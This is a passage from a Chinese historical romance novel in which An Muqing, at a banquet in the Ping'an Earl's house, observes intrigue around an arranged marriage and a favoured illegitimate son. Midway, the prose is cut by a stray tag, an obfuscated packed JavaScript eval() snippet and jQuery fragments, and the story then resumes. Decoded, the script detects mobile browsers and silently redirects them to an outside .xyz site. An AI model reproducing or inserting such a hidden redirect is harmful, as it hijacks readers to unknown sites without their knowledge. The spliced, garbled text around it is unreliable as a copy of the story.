赵玉娆眼睛一亮:“陆三公子啊!他可是京城有名的才子,去年秋闱中了举人,据说文章写得极好。为人也谦和有礼,从不仗势欺人。”她说着叹了口气,“可惜是个庶出,要不然以他的才学,将来继承伯府二房也不是没可能。”
姜培之盯着安慕青,一点儿也不觉得自己此举无礼,桃花眼含着笑道:“他母亲原是平安伯府二老爷的妾,生下他不久便撒手人寰。二夫人因膝下无子,便将他记在名下抚养。这些年来,陆明修在平安伯跟前当差办事,竟比大房正经的嫡出公子还得伯爷青眼。虽说给了名分,终究……”
“庶子……”安慕青轻声重复,若有所思。
赵玉娆突然压低声音:“我听说,陆三公子和苏姑娘是青梅竹马,两人早有情愫。只是碍于身份,一直不敢表露。现在伯爷给他定了安大小姐这门亲事……”
思及此,赵玉娆想起陆明修与安慕兰的亲事,吐了吐舌头,没再说下去。
安慕青垂眸看着茶盏中漂浮的茶叶。看来安慕兰的这门亲事,背后还有这么多弯弯绕绕。一个心有所属的庶子,一个骄纵的表妹,再加上个柔弱可怜的西席之女……
“安小姐似乎对陆三公子很感兴趣?”姜培之似笑非笑地问。
安慕青抬眼看他:“只是好奇罢了。毕竟……他将来可能是我姐夫。”
姜培之意味深长地“哦”了一声,见安慕青不接话,故意凑近了些:“安小姐这般关心未来姐夫,莫不是……”
“世子慎言。”安慕青淡淡打断,端起茶盏抿了一口。
赵玉娆眨巴着眼睛看着两人,总觉得这气氛有些微妙,却又说不上来哪里奇怪。她正想开口缓和一下,外间传来丫鬟的通传声:“宴席已备好,请各位贵人移步花厅。”
众人陆续入席。安慕青被安排在靠后的位置,与几位品级较低的官家小姐同坐。
柳如烟却故意拉着安慕兰坐到了前排显眼处,时不时朝安慕青投来挑衅的目光。
“安大小姐,”柳如烟刻意提高声音,“你这位妹妹可真是了不得,今日又出尽风头呢!”
安慕兰故作无奈地叹了口气:“我这妹妹自小就特立独行,三年前离家出走,在江湖上混迹,如今回来也是我行我素。让柳小姐见笑了。”
“江湖上?”柳如烟夸张地掩嘴,“难怪这般粗鲁,竟当众跳水救人,也不怕失了体统。”
这番话看似维护,实则暗指安慕青粗鄙无礼。席间几位小姐掩嘴轻笑,看向安慕青的眼神更加轻蔑。
安慕青不紧不慢地夹了一筷子清蒸鲈鱼:“多谢大姐关心。不过……”她抬眼看向柳如烟,意有所指,“有些人表面亲近,背地里打的什么主意,可就难说了。”
柳如烟脸色一变:“你这话什么意思?”
“随口一说罢了。”安慕青微微一笑,低头继续用膳。
安慕兰疑惑地看了看柳如烟,又看看安慕青,总觉得话里有话。柳如烟则心虚地别开眼,不敢与安慕兰对视。
赵氏坐在主桌,将这一切尽收眼底,却恍若未闻,只专心与平安伯夫人寒暄。倒是一旁的姜培之饶有兴趣地观察着安家姐妹的互动,眼中闪过一丝玩味。
宴席进行到一半,陆明修起身向各位宾客敬酒。当他走到安慕兰面前时,礼节性地说了几句客套话,眼神却始终没有温度。安慕青注意到,他的目光时不时飘向偏厅方向——那里是身体不适的苏婉休息的地方。
“陆三公子,”安慕兰红着脸起身回礼,“听闻您近日在准备春闱,不知……”
“多谢安小姐关心。”陆明修冷淡地打断,“在下还有宾客要招呼,失礼了。”
安慕兰尴尬地站在原地,手中的酒杯微微发抖。柳如烟连忙上前打圆场:“表哥就是太用功了,连说话都这么简短。安大小姐别往心里去。”
安慕青看着这一幕,心中暗笑。她这个眼高于顶的嫡姐,怕是还不知道自己未来的夫婿心里装着别人,连表面功夫都懒得做呢。
安慕兰勉强维持着笑容,顺势转移话题:“柳妹妹,怎么不见陆小姐来参加宴会?”
她口中的“陆小姐”也就是平安伯府的嫡女陆锦绣,现年十六,还未出嫁。
柳如烟撇了撇嘴,语气中带着几分不耐烦:“表姐身子不适,在房里歇着呢。说来也怪,这一年她总是隔三差五地生病,请了多少大夫都不见好。”
安慕兰本就是为了缓解尴尬才问的,见柳如烟这般态度,也就客气地说了句“希望陆小姐早日康复”,便不再多问。
安慕青在一旁默默听着,心中却升起一丝疑惑。既然平安伯府嫡女身体抱恙,为何还要大张旗鼓地举办宴会?
这不合常理。
安慕青抬眼环顾四周,发现宴席上多是年轻公子小姐,平安伯夫妇虽然在场,却明显心不在焉,时不时低声交谈着什么。
“在想什么?”姜培之不知何时走到了她身旁,顺着她的目光看去。
“平安伯府嫡女病了多久?”安慕青低声问道。
姜培之挑眉笑道:“怎么突然问这个?”
“只是觉得奇怪。”安慕青轻声道,“嫡女病着,府上却大办宴席,不合常理。”
姜培之若有所思地看了她一眼:“陆锦绣确实病了有段时日了。据说……”他压低声音,“是从去年冬天开始的,症状古怪,时好时坏。”
正说着,一个丫鬟匆匆跑到平安伯夫人身边,附耳说了几句。
伯夫人脸色骤变,立即起身告罪离席。平安伯也很快跟了出去,只留下管家招呼宾客。
宴席上的宾客们面面相觑,议论声渐起。
没过多久,平安伯重新出现在宴席上,脸上已经恢复了从容的神色。他带着陆明修穿梭于各位官员之间,言谈间尽是夸赞之词。
“明修这孩子虽说是庶出,但天资聪颖,去年秋闱的成绩在京城都是数得着的。”平安伯拍着陆明修的肩膀,向兵部侍郎介绍道。
陆明修低眉顺目地行礼,姿态恭敬得挑不出半点错处。
但安慕青敏锐地注意到,他垂下的眼睫遮掩着一闪而逝的讥诮。
当平安伯转身时,陆明修的手指无意识地摩挲着腰间玉佩——那是块成色普通的青玉,与满身华服格格不入。
在不远处,平安伯的两个嫡子——陆明德和陆明远正阴沉着脸,手中的酒杯都快捏碎了。
“父亲近来对三弟倒是上心。”不远处,陆明德冷笑着将酒杯重重搁在案几上。这位嫡长子约莫二十五六岁,面容与平安伯有七分相似,却多了几分阴鸷。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269315|182233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
陆明远年纪稍轻,闻言立刻附和:“可不是?连今日这样的场合都带着他四处引荐。”他眯眼看向人群中的陆明修,“一个二房的庶子,也配……”
“慎言!”陆明德压低声音呵斥,眼神却同样阴冷,“今日宾客众多,别让人看了笑话。”他转动着拇指上的翡翠扳指,那是平安伯府嫡子的象征,“不过……父亲近来确实反常。”
安慕青顺着他们的视线望去,发现平安伯正带着陆明修向几位朝中重臣敬酒。
那些大臣们虽然客气回礼,眼中的轻蔑却掩饰不住——在这个嫡庶分明的世道,庶子终究上不得台面。
“听说父亲要把城西的庄子给三弟。”陆明远咬牙切齿,“那可是府里最肥的产业!”
陆明德冷笑一声:“急什么?鹿死谁手还不一定……”话说到一半突然噤声,警惕地环顾四周。
安慕青将这一幕尽收眼底。她转头看了眼正在与几位小姐寒暄的安慕兰,心中暗叹。
自己这个嫡姐一门心思攀高枝,却不知这桩婚事背后暗潮汹涌——一个不受宠的庶子,两个心怀不满的嫡兄,再加上个病弱的嫡姐和明显偏心的伯爷。
这平安伯府的水,怕是比安慕兰想象的要深得多。
宴席另一侧,安慕兰正被几位闺秀围着奉承。她今日特意穿了新制的绯色罗裙,发间金步摇随着动作轻轻晃动,显然是为在未婚夫面前展示。可惜陆明修自始至终都没往她这边多看一眼。
“安大小姐好福气啊。”柳如烟亲热地挽着安慕兰的手臂,眼睛却盯着远处的陆明修,“三表哥能得姑父这般看重,将来前程必定不差。”
安慕兰笑容微僵:“柳妹妹说笑了。婚姻大事,父母之命媒妁之言,我……”
“哎呀,姐姐何必说这些场面话。”柳如烟打断她,声音甜得发腻,“我可是听说,三表哥书房里收着好些诗集,都是写给心上人的呢,姐姐好福气啊!”
话虽如此,她却意有所指地瞥了眼偏厅方向——苏婉正在那里休息。
安慕兰手中的帕子绞得更紧,强撑着笑容:“柳妹妹真会开玩笑。”
安慕青将这一切尽收眼底,心中冷笑。
直到宴席结束,伯夫人都没有再露面。临别时,管家代为传话,说是夫人突感不适,不能亲自送客。
安慕青注意到,说这话时,管家的眼神闪烁,额角还渗着细密的汗珠。
回府的马车上,赵氏难得地对安慕青和颜悦色:“今日你表现得不错,没给府里丢脸。”她顿了顿,指尖轻轻敲打着车窗框,“平安伯对陆三公子颇为看重,这门亲事对你姐姐来说是好事。”
安慕青垂眸应是,纤长的睫毛在脸上投下一片阴影。
她脑海中浮现出宴席上的一幕幕:平安伯带着陆明修周旋于达官显贵之间的热络,与对待两个嫡子的冷淡形成鲜明对比;陆明德在父亲夸赞庶弟时,手中酒杯几乎捏碎的狰狞;陆明远眼中掩藏不住的嫉恨……这些细节在她心中串联成线,勾勒出平安伯府暗流涌动的家族纷争。
“女儿明白。”她轻声回应,语气平静得听不出任何情绪。
赵氏满意地点点头,转而看向闷闷不乐的安慕兰。这位嫡长女自离开伯府就一言不发,精心描画的柳叶眉紧紧蹙在一起。